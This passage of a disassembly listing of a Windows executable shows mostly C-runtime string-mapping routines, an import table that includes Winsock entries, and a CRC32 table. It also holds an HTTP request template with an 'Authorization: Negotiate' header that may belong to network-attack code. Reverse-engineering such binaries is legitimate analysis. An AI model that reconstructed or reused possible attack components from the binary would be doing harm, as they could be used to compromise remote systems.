sub_422978 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_422976 mov ax, [ebp+var_2] locret_422976: ; CODE XREF: sub_422903+1Fj ; sub_422903+25j ... leave retn sub_422903 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422978 proc near ; CODE XREF: sub_422903+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_423D40 push offset sub_41F4A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_48979C, esi jnz short loc_4229EE push esi push esi push 1 pop ebx push ebx push offset dword_4238D0 mov edi, 100h push edi push esi call dword_4231C8 ; LCMapStringW test eax, eax jz short loc_4229CC mov dword_48979C, ebx jmp short loc_4229EE ; --------------------------------------------------------------------------- loc_4229CC: ; CODE XREF: sub_422978+4Aj push esi push esi push ebx push offset dword_43BCF8 push edi push esi call dword_4231C4 ; LCMapStringA test eax, eax jz loc_422B6D mov dword_48979C, 2 loc_4229EE: ; CODE XREF: sub_422978+2Ej ; sub_422978+52j cmp [ebp+arg_C], esi jle short loc_422A03 push [ebp+arg_C] push [ebp+arg_8] call sub_422B81 pop ecx pop ecx mov [ebp+arg_C], eax loc_422A03: ; CODE XREF: sub_422978+79j mov eax, dword_48979C cmp eax, 1 jnz short loc_422A2A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4231C8 ; LCMapStringW jmp loc_422B6F ; --------------------------------------------------------------------------- loc_422A2A: ; CODE XREF: sub_422978+93j cmp eax, 2 jnz loc_422B6D cmp [ebp+arg_18], esi jnz short loc_422A40 mov eax, dword_489550 mov [ebp+arg_18], eax loc_422A40: ; CODE XREF: sub_422978+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call dword_423150 ; WideCharToMultiByte mov [ebp+var_20], eax cmp eax, esi jz loc_422B6D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_417830 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_422A86 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_422A86: ; CODE XREF: sub_422978+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_422B6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call dword_423150 ; WideCharToMultiByte test eax, eax jz loc_422B6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call dword_4231C4 ; LCMapStringA mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_422B6D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_417830 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422B09 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_422B09: ; CODE XREF: sub_422978+17Dj cmp ebx, esi jz short loc_422B6D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call dword_4231C4 ; LCMapStringA test eax, eax jz short loc_422B6D test byte ptr [ebp+arg_4+1], 4 jz short loc_422B47 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_422B69 cmp eax, edi jl short loc_422B38 mov eax, edi loc_422B38: ; CODE XREF: sub_422978+1BCj push eax push ebx push [ebp+arg_10] call sub_418910 add esp, 0Ch jmp short loc_422B69 ; --------------------------------------------------------------------------- loc_422B47: ; CODE XREF: sub_422978+1B1j cmp [ebp+arg_14], esi jnz short loc_422B50 push esi push esi jmp short loc_422B56 ; --------------------------------------------------------------------------- loc_422B50: ; CODE XREF: sub_422978+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_422B56: ; CODE XREF: sub_422978+1D6j push edi push ebx push 1 push [ebp+arg_18] call dword_423070 ; MultiByteToWideChar mov edi, eax cmp edi, esi jz short loc_422B6D loc_422B69: ; CODE XREF: sub_422978+1B8j ; sub_422978+1CDj mov eax, edi jmp short loc_422B6F ; --------------------------------------------------------------------------- loc_422B6D: ; CODE XREF: sub_422978+66j ; sub_422978+B5j ... xor eax, eax loc_422B6F: ; CODE XREF: sub_422978+ADj ; sub_422978+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422978 endp ; =============== S U B R O U T I N E ======================================= sub_422B81 proc near ; CODE XREF: sub_422978+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422BA0 loc_422B91: ; CODE XREF: sub_422B81+1Dj cmp word ptr [eax], 0 jz short loc_422BA0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_422B91 loc_422BA0: ; CODE XREF: sub_422B81+Ej ; sub_422B81+14j cmp word ptr [eax], 0 pop esi jnz short loc_422BAE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_422BAE: ; CODE XREF: sub_422B81+24j mov eax, edx retn sub_422B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BB1 proc near ; CODE XREF: sub_422903+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_422BF1 cmp [ebp+arg_0], 100h jnb short loc_422BD5 movzx eax, [ebp+arg_0] mov ecx, off_438A84 mov ax, [ecx+eax*2] jmp short loc_422BF8 ; --------------------------------------------------------------------------- loc_422BD5: ; CODE XREF: sub_422BB1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_422C03 add esp, 18h test eax, eax jnz short loc_422BF5 loc_422BF1: ; CODE XREF: sub_422BB1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_422BF5: ; CODE XREF: sub_422BB1+3Ej mov eax, [ebp+var_4] loc_422BF8: ; CODE XREF: sub_422BB1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_422BB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C03 proc near ; CODE XREF: sub_422BB1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_423D58 push offset sub_41F4A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4897A0 xor edi, edi cmp eax, edi jnz short loc_422C72 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4238D0 push esi call dword_423028 ; GetStringTypeW test eax, eax jz short loc_422C50 mov eax, esi jmp short loc_422C6D ; --------------------------------------------------------------------------- loc_422C50: ; CODE XREF: sub_422C03+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_43BCF8 push esi push edi call dword_42302C ; GetStringTypeA test eax, eax jz loc_422DB4 push 2 pop eax loc_422C6D: ; CODE XREF: sub_422C03+4Bj mov dword_4897A0, eax loc_422C72: ; CODE XREF: sub_422C03+2Fj cmp eax, 1 jnz short loc_422C8E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_423028 ; GetStringTypeW jmp loc_422DB6 ; --------------------------------------------------------------------------- loc_422C8E: ; CODE XREF: sub_422C03+72j cmp eax, 2 jnz loc_422DB4 cmp [ebp+arg_10], edi jnz short loc_422CA4 mov eax, dword_489550 mov [ebp+arg_10], eax loc_422CA4: ; CODE XREF: sub_422C03+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call dword_423150 ; WideCharToMultiByte mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_422DB4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_417830 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_417030 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_422D02 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422D02: ; CODE XREF: sub_422C03+EAj cmp [ebp+var_2C], edi jz loc_422DB4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call dword_423150 ; WideCharToMultiByte test eax, eax jz loc_422DB4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_417830 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_422D57 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_422D57: ; CODE XREF: sub_422C03+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_422DB4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_422D6B mov eax, dword_489540 loc_422D6B: ; CODE XREF: sub_422C03+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call dword_42302C ; GetStringTypeA mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_422DB4 cmp word ptr [esi], 0FFFFh jnz short loc_422DB4 push edi push ebx push [ebp+arg_C] call sub_417FC0 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_422DB6 ; --------------------------------------------------------------------------- loc_422DB4: ; CODE XREF: sub_422C03+61j ; sub_422C03+8Ej ... xor eax, eax loc_422DB6: ; CODE XREF: sub_422C03+86j ; sub_422C03+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422C03 endp ; =============== S U B R O U T I N E ======================================= sub_422DC8 proc near ; DATA XREF: .data:00423EE8o ; FUNCTION CHUNK AT 00404413 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_404413 sub_422DC8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_422DE6 mov ecx, [ebp+8] jmp loc_404413 ; --------------------------------------------------------------------------- locret_422DE6: ; CODE XREF: .data:00422DD8j retn ; --------------------------------------------------------------------------- loc_422DE7: ; DATA XREF: sub_403FF0o mov eax, offset dword_423EEC jmp loc_417C4B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_404413 ; --------------------------------------------------------------------------- loc_422DFC: ; DATA XREF: .data:00423F14o lea ecx, [ebp-1Ch] jmp loc_404413 ; --------------------------------------------------------------------------- loc_422E04: ; DATA XREF: sub_40418Fo mov eax, offset dword_423F18 jmp loc_417C4B ; --------------------------------------------------------------------------- align 10h loc_422E10: ; DATA XREF: sub_4046F4o mov eax, offset dword_423F68 jmp loc_417C4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4228A6 ; --------------------------------------------------------------------------- loc_422E22: ; DATA XREF: sub_4224EEo mov eax, offset dword_423F8C jmp loc_417C4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_404413 ; --------------------------------------------------------------------------- loc_422E34: ; DATA XREF: sub_422563o mov eax, offset dword_424024 jmp loc_417C4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4228A6 ; --------------------------------------------------------------------------- loc_422E46: ; DATA XREF: sub_4225C0o mov eax, offset dword_424048 jmp loc_417C4B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4228A6 ; --------------------------------------------------------------------------- loc_422E58: ; DATA XREF: sub_422608o mov eax, offset dword_42406C jmp loc_417C4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_404413 ; --------------------------------------------------------------------------- loc_422E6A: ; DATA XREF: sub_42268Ao mov eax, offset dword_4240CC jmp loc_417C4B ; --------------------------------------------------------------------------- dd 63h dup(0) dword_423000 dd 77E74D76h ; DATA XREF: sub_40A928+36r dword_423004 dd 77E6BD68h ; DATA XREF: sub_422197+173r dword_423008 dd 77E77F2Eh ; DATA XREF: sub_421F1A+3Er ; sub_421F1A+261r dword_42300C dd 77E762D0h ; DATA XREF: sub_421F1A+5Br ; sub_421F1A+B9r dword_423010 dd 77E70192h ; DATA XREF: sub_420F21+F9r dword_423014 dd 77E7176Ch ; DATA XREF: sub_420636+8r dword_423018 dd 77E7339Ch ; DATA XREF: sub_4205FE+Cr dword_42301C dd 77E7C9E7h ; DATA XREF: sub_4205E0+5r ; sub_4205F1+6r dword_423020 dd 77E73FF9h ; DATA XREF: sub_41FB9B+2Cr dword_423024 dd 77E7FF2Eh ; DATA XREF: sub_41FA6D:loc_41FABDr ; sub_41FAE4:loc_41FB37r dword_423028 dd 77E7C866h ; DATA XREF: sub_41F88F+3Fr ; sub_41F88F+12Dr ... dword_42302C dd 77E641EBh ; DATA XREF: sub_41F88F+59r ; sub_41F88F+8Dr ... dword_423030 dd 77E78406h ; DATA XREF: sub_41F2EA+FFr ; sub_41F2EA+166r ... dword_423034 dd 77E79C3Dh ; DATA XREF: sub_41F2EA+158r ; sub_41F5B1+143r dword_423038 dd 77E7C931h ; DATA XREF: sub_41F2EA+19Dr dword_42303C dd 77E77EE1h ; DATA XREF: sub_41F1B8+9r dword_423040 dd 77E67702h ; DATA XREF: sub_41F1B8:loc_41F1E7r ; sub_41F1B8+E1r dword_423044 dd 77E7C9E1h ; DATA XREF: sub_41F1B8+CEr dword_423048 dd 77E9C5B1h ; DATA XREF: sub_41F1B8+11Fr dword_42304C dd 77EB9A84h ; DATA XREF: sub_41ECD6+138r dword_423050 dd 77E6C703h ; DATA XREF: sub_41E7F1+1Ar dword_423054 dd 77E73C49h ; DATA XREF: sub_401000+AAr ; sub_401444+95r ... dword_423058 dd 77E7751Ah ; DATA XREF: sub_401000+27r ; sub_401444+1A6r ... dword_42305C dd 77E802FCh ; DATA XREF: sub_4010B2+18Cr ; sub_4010B2+2D4r ... dword_423060 dd 77E6D75Bh ; DATA XREF: sub_4010B2+182r ; sub_401A64+FFr dword_423064 dd 77E61BE6h ; DATA XREF: sub_4018CB+95r ; sub_402394+5Dr ... dword_423068 dd 77E704FCh ; DATA XREF: sub_4022B5+20r ; sub_40B6ED+183r ... dword_42306C dd 77E70F89h ; DATA XREF: sub_4022B5+Er ; sub_40BD8D+Dr ... dword_423070 dd 77E77CCEh ; DATA XREF: sub_4029C8+66r ; sub_402AAB+65r ... dword_423074 dd 77E78B82h ; DATA XREF: sub_402DB1+135r ; sub_404904+198r ... dword_423078 dd 77E77963h ; DATA XREF: sub_402DB1+11Dr ; sub_402DB1+150r ... dword_42307C dd 77E79D8Ch ; DATA XREF: sub_402DB1+100r ; sub_404816+94r ... dword_423080 dd 77E73EACh ; DATA XREF: sub_402DB1+E6r dword_423084 dd 77E7A837h ; DATA XREF: sub_402DB1+68r ; sub_404904+A0r ... dword_423088 dd 77E79D5Bh ; DATA XREF: sub_404904+4ADr ; sub_40E48A+68r ... dword_42308C dd 77F5157Dh ; DATA XREF: sub_404904+494r ; sub_405F35+26Fr ... dword_423090 dd 77E737DEh ; DATA XREF: sub_404904+42Br dword_423094 dd 77E7A099h ; DATA XREF: sub_4058E9+18r ; sub_4070A3+58r ... dword_423098 dd 77E64106h ; DATA XREF: sub_405DB9+9Fr ; sub_40B6ED+1B6r dword_42309C dd 77E64006h ; DATA XREF: sub_405DB9+8Br ; sub_40B6ED+19Fr dword_4230A0 dd 77E7AC37h ; DATA XREF: sub_405F35+24Cr ; sub_4070A3+10Br ... dword_4230A4 dd 77E793EFh ; DATA XREF: sub_405F35+1EDr ; sub_406865+38r ... dword_4230A8 dd 77E74CABh ; DATA XREF: sub_405F35+10Fr ; sub_40AA70+10Fr ... dword_4230AC dd 77E78EAAh ; DATA XREF: sub_4061E4+5EDr ; sub_408D2A+C0r ... dword_4230B0 dd 77E79424h ; DATA XREF: sub_4061E4+27Ar ; sub_4091D7+135r dword_4230B4 dd 77E794BFh ; DATA XREF: sub_4061E4+26Cr ; sub_4091D7+123r dword_4230B8 dd 77E75E67h ; DATA XREF: sub_4061E4+20Cr ; sub_4061E4+5DCr ... dword_4230BC dd 77E75D9Eh ; DATA XREF: sub_4061E4+1FBr ; sub_408D2A+26r dword_4230C0 dd 77E78C81h ; DATA XREF: sub_406865+6Cr ; sub_40C330+259r ... dword_4230C4 dd 77F7E300h ; DATA XREF: sub_4075B8+130r dword_4230C8 dd 77F7E21Fh ; DATA XREF: sub_4075B8+C5r dword_4230CC dd 77E7C706h ; DATA XREF: sub_4077CC+77r dword_4230D0 dd 77F53275h ; DATA XREF: sub_4077CC+6Br ; sub_4077CC+241r dword_4230D4 dd 77E80618h ; DATA XREF: sub_408E7C+170r dword_4230D8 dd 77E78147h ; DATA XREF: sub_408E7C+BCr dword_4230DC dd 77E7A5FDh ; DATA XREF: sub_408E7C+60r ; sub_409658+11r ... dword_4230E0 dd 77E805D8h ; DATA XREF: sub_408E7C+5Ar ; sub_409658+13Ar ... dword_4230E4 dd 77F51597h ; DATA XREF: sub_40904E+41r ; sub_40904E+F5r ... dword_4230E8 dd 77F516F8h ; DATA XREF: sub_40904E+21r ; sub_4091D7+4Ar ... dword_4230EC dd 77E77CB7h ; DATA XREF: sub_40904E+10r ; sub_4091D7+40r ... dword_4230F0 dd 77E7F01Ah ; DATA XREF: sub_4091D7+88r ; sub_40937B+53r dword_4230F4 dd 77E61A54h ; DATA XREF: sub_4091D7+56r ; sub_40937B+95r dword_4230F8 dd 77E7C3A5h ; DATA XREF: sub_4091D7+34r ; sub_40937B+2Cr dword_4230FC dd 77E706B7h ; DATA XREF: sub_4091D7+15r ; sub_40937B+10r ... dword_423100 dd 77E79F93h ; DATA XREF: sub_409658+2r ; sub_40AA70+FBr ... dword_423104 dd 77E76A60h ; DATA XREF: sub_40A863+2Dr dword_423108 dd 77E71B14h ; DATA XREF: sub_40A8ED+26r dword_42310C dd 77E7166Fh ; DATA XREF: sub_40A8ED+1Dr dword_423110 dd 77E75090h ; DATA XREF: sub_40A928+69r dword_423114 dd 77E77797h ; DATA XREF: sub_40A928+25r dword_423118 dd 77E7011Ah ; DATA XREF: sub_40A9AA+96r dword_42311C dd 77E73CE2h ; DATA XREF: sub_40A9AA+60r dword_423120 dd 77E61BB8h ; DATA XREF: sub_40AA70+17Er ; sub_40B398+F0r ... dword_423124 dd 77E668D9h ; DATA XREF: sub_40AA70+15Dr dword_423128 dd 77E70396h ; DATA XREF: sub_40AA70+126r ; sub_40E48A+1B2r ... dword_42312C dd 77E6AD34h ; DATA XREF: sub_40AA70+35r ; sub_40EC43+3E2Ar dword_423130 dd 77E7FF65h ; DATA XREF: sub_40B243+5Ar dword_423134 dd 77EB7624h ; DATA XREF: sub_40B243+3Dr dword_423138 dd 77E79CE3h ; DATA XREF: sub_40B398+91r ; sub_416552+77r dword_42313C dd 77E79C90h ; DATA XREF: sub_40B398+79r ; sub_414EAB+Cr ... dword_423140 dd 77E7727Ah ; DATA XREF: sub_40B398+38r ; sub_416459+23r dword_423144 dd 77E7C657h ; DATA XREF: sub_40B5A0+1Dr ; sub_40B6ED+24r ... dword_423148 dd 77E76C1Ah ; DATA XREF: sub_40B6ED+1CFr dword_42314C dd 77E75CB5h ; DATA XREF: sub_40C90D+465r ; sub_40D1A2+DFr ... dword_423150 dd 77E79924h ; DATA XREF: sub_40D9B7+13r ; sub_41E409+20Dr ... dword_423154 dd 77E65F4Ch ; DATA XREF: sub_40E3CC+34r ; .data:004157D3r dword_423158 dd 77E73628h ; DATA XREF: sub_40E48A+317r ; sub_40EC43+4AD5r ... dword_42315C dd 77E80656h ; DATA XREF: sub_40E48A+246r dword_423160 dd 77E6BD13h ; DATA XREF: sub_40E48A:loc_40E642r dword_423164 dd 77E7C2C4h ; DATA XREF: sub_40E48A+61r dword_423168 dd 77E75CEBh ; DATA XREF: sub_40EC43+4D18r ; sub_416304+A3r ... dword_42316C dd 77E71AFEh ; DATA XREF: sub_40EC43+3C15r dword_423170 dd 77E616B4h ; DATA XREF: sub_414F16+193r ; sub_4151A1+1Fr ... dword_423174 dd 77E76968h ; DATA XREF: sub_41547D+5Fr dword_423178 dd 77E7513Ch ; DATA XREF: .data:00415840r dword_42317C dd 77E6C29Dh ; DATA XREF: sub_415FE8+1F0r dword_423180 dd 77E74C59h ; DATA XREF: sub_416304+CBr dword_423184 dd 77EC7C51h ; DATA XREF: sub_4166C9+4Br dword_423188 dd 77F6183Eh ; DATA XREF: sub_42274Cr dword_42318C dd 77E76E3Dh ; DATA XREF: sub_4183B1+6Cr ; sub_42067A+38r dword_423190 dd 77E61608h ; DATA XREF: sub_4183B1+17r dword_423194 dd 77F5722Fh ; DATA XREF: sub_41914F+110r ; sub_41914F+22Dr ... dword_423198 dd 77E6177Ah ; DATA XREF: sub_4198E4+9Fr ; sub_41F2EA+59r dword_42319C dd 77E7C938h ; DATA XREF: sub_4198E4+74r dword_4231A0 dd 77E7C486h ; DATA XREF: sub_4198E4+26r dword_4231A4 dd 77E7AC5Eh ; DATA XREF: sub_41A89C+54r dword_4231A8 dd 77E76E0Bh ; DATA XREF: sub_41A9E4+50r dword_4231AC dd 77E7C726h ; DATA XREF: sub_41A9E4+11r dword_4231B0 dd 77E79E34h ; DATA XREF: sub_41AAB4+240r ; sub_41B588+120r ... dword_4231B4 dd 77E7980Ah ; DATA XREF: sub_41B0E6+76r ; sub_41B197+51r ... dword_4231B8 dd 77E73196h ; DATA XREF: sub_42061A+Cr dword_4231BC dd 77E6D706h ; DATA XREF: sub_41BD40+215r ; sub_4228C9+2Er dword_4231C0 dd 77F522F2h ; DATA XREF: sub_41D2A8+58r dword_4231C4 dd 77E77405h ; DATA XREF: sub_41E409+5Er ; sub_41E409+A7r ... dword_4231C8 dd 77E781F9h ; DATA XREF: sub_41E409+42r ; sub_41E409+14Dr ... dword_4231CC dd 77E7849Fh ; DATA XREF: sub_41E658+48r ; sub_41E897+14r ... dword_4231D0 dd 77E7A13Fh ; DATA XREF: sub_41E7F1+2Fr align 8 dword_4231D8 dd 71B2ACCBh ; DATA XREF: sub_422740r align 10h dword_4231E0 dd 71AB41DAh ; DATA XREF: sub_405285+47r ; sub_40586C+15r dword_4231E4 dd 71AB3F8Dh ; DATA XREF: sub_405285+8Dr dword_4231E8 dd 71AB3ECEh ; DATA XREF: sub_405285+C4r dword_4231EC dd 71AB5DE2h ; DATA XREF: sub_405285+D8r dword_4231F0 dd 71AB868Dh ; DATA XREF: sub_405285+17Er dword_4231F4 dd 71AB8629h ; DATA XREF: .data:00405271r dword_4231F8 dd 71AB2BBFh ; DATA XREF: .data:00405142r dword_4231FC dd 71AB12F8h ; DATA XREF: sub_404DFA+27r ; .data:00405152r ... dword_423200 dd 71AB1836h ; DATA XREF: sub_40586C+6Er ; sub_4058E9+8Er dword_423204 dd 71AB5690h ; DATA XREF: sub_404DFA+6Ar ; sub_405285+1E0r dword_423208 dd 71AB1AF4h ; DATA XREF: sub_403F52+12r ; sub_404DFA+C3r ... dword_42320C dd 71AB1890h ; DATA XREF: sub_403DAF+4Cr ; sub_405285+115r dword_423210 dd 71AB1B7Bh ; DATA XREF: sub_422746r dword_423214 dd 71AB3C22h ; DATA XREF: sub_4018CB+52r ; .data:004042F7r ... dword_423218 dd 71AB155Ah ; DATA XREF: sub_4018CB+6Er ; sub_405285+9Dr dword_42321C dd 71AB3E5Dh ; DATA XREF: sub_4018CB+88r ; sub_404DFA+59r ... dword_423220 dd 71AB1A6Dh ; DATA XREF: sub_4018CB+A4r ; sub_404DFA+E0r ... dword_423224 dd 71AB1746h ; DATA XREF: sub_404DFA+36r ; .data:004051A8r ... align 10h aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40418F+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_423270 dq 1.388888888888889e-2 ; DATA XREF: sub_403FA4+2Fr dbl_423278 dq 1.666666666666667e-1 ; DATA XREF: sub_403FA4+15r dbl_423280 dq 1.333333333333333 ; DATA XREF: sub_403FF0+7Ar dword_423288 dd 0 ; DATA XREF: sub_40418F+4Do ; sub_4044CD+57o ... flt_42328C dd 5.0e-1 ; DATA XREF: sub_404904+38Cr dword_423290 dd 0 ; DATA XREF: sub_40C040+24r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 